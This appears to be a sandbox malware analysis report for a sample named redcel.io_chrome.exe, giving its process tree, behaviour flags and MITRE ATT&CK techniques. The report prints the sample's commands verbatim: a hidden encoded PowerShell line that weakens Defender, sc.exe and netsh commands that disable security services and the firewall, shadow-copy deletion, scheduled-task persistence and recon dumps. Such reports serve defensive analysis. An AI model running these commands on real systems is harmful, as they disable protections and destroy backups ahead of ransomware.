PID 3436 wrote to memory of 1752	3436	redcel.io_chrome.exe	145
PID 3436 wrote to memory of 1568	3436	redcel.io_chrome.exe	146
PID 3436 wrote to memory of 1836	3436	redcel.io_chrome.exe	147
PID 3436 wrote to memory of 4568	3436	redcel.io_chrome.exe	148
PID 3436 wrote to memory of 384	3436	redcel.io_chrome.exe	156
PID 2852 wrote to memory of 2880	2852	cmd.exe	194
PID 1568 wrote to memory of 3736	1568	cmd.exe	158
PID 2120 wrote to memory of 1472	2120	cmd.exe	159
PID 1836 wrote to memory of 1676	1836	cmd.exe	160
PID 3636 wrote to memory of 4380	3636	cmd.exe	161
PID 5608 wrote to memory of 1852	5608	cmd.exe	162
PID 1752 wrote to memory of 3192	1752	cmd.exe	163
PID 3192 wrote to memory of 5628	3192	net.exe	164
PID 3436 wrote to memory of 2652	3436	redcel.io_chrome.exe	165
PID 3636 wrote to memory of 4832	3636	cmd.exe	183
PID 3436 wrote to memory of 3008	3436	redcel.io_chrome.exe	167
PID 3436 wrote to memory of 4700	3436	redcel.io_chrome.exe	168
PID 3436 wrote to memory of 392	3436	redcel.io_chrome.exe	169
PID 3436 wrote to memory of 3480	3436	redcel.io_chrome.exe	170
PID 3436 wrote to memory of 5236	3436	redcel.io_chrome.exe	171
PID 3436 wrote to memory of 5648	3436	redcel.io_chrome.exe	172
PID 392 wrote to memory of 4540	392	net.exe	179
PID 5132 wrote to memory of 1952	5132	chrome.exe	180
PID 5132 wrote to memory of 2616	5132	chrome.exe	181
PID 5132 wrote to memory of 1932	5132	chrome.exe	182
PID 5132 wrote to memory of 2616	5132	chrome.exe	181
PID 5132 wrote to memory of 1932	5132	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://redcel.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffb6e87c728,0x7ffb6e87c734,0x7ffb6e87c740
    3⤵
    PID:936
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,2640612027893145655,4958186750660093825,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,4211186995368441373,7198552597432641722,262144 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:4120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2280,i,9403619618704029352,10543622648445364125,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:13
    3⤵
    PID:1416
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,12327368328485585132,14134852289737358189,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:5856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,6599371976311706557,2335281685913481609,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:1
    3⤵
    PID:5484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4656,i,4762685576591764960,14446436936510707901,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4840,i,1947426535246086743,7216411292252042465,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:1
    3⤵
    PID:6112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3184,i,16846745948012298397,16179500072138258558,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:14
    3⤵
    PID:1952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3448,i,8020516277232446257,11964034658852339148,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
    3⤵
    PID:2616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4680,i,6920608792415062217,3998360540703849551,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:1
    3⤵
    PID:1932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5788,i,10932514857498644305,7497866656982907364,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:1
    3⤵
    PID:2484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4504,i,8504396920494899795,17226861975057955176,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:14
    3⤵
    PID:1228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5828,i,13147797552533588790,1715435125168570603,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:1
    3⤵
    PID:300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5636,i,3712283816544646016,3023952533852374305,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:1
    3⤵
    PID:3024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,8489641339093505701,1996477015796240395,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
    3⤵
    PID:3752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5696,i,16826856723039473370,4957669461803073115,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:1
    3⤵
    PID:2088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5968,i,9661241339425798575,16243032403320350003,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:1
    3⤵
    PID:2140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6104,i,16053263247139677417,1684274696936866828,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:1
    3⤵
    PID:1132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3200,i,10861388894381460060,6103238978808818889,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:14
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5896,i,9435164160337119924,9500008372382863311,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:1
    3⤵
    PID:2880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4752,i,9442279648594190723,9250804367883909185,2097152 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:9
    3⤵
    PID:3896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5964,i,14291869418956070249,2694509185781684369,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
    3⤵
    PID:2084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6040,i,10539149211961402872,13983301272091951602,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
    3⤵
    PID:4716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5652,i,16485377475739609170,11911138578343964773,524288 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:14
    3⤵
    PID:5848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5776,i,13678300642312362348,15098103329869165800,262144 --field-trial-handle=1904,i,18078940544988224463,10256835965197500020,262144 --variations-seed-version --mojo-platform-channel-handle=1120 /prefetch:10
    3⤵
    PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3820
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5948
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2344
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3044
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3572
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5728
- - C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe"
    3⤵
    PID:3124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4904
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3332
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1232
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4324
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3480
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4380
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3192
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5628
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2764
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1676
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4568
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:384
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2652
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3008
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4700
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4540
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5236
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5648

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2680

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3420

C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe
1⤵
PID:3652

C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\redcel.io_chrome.exe
1⤵
PID:3836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery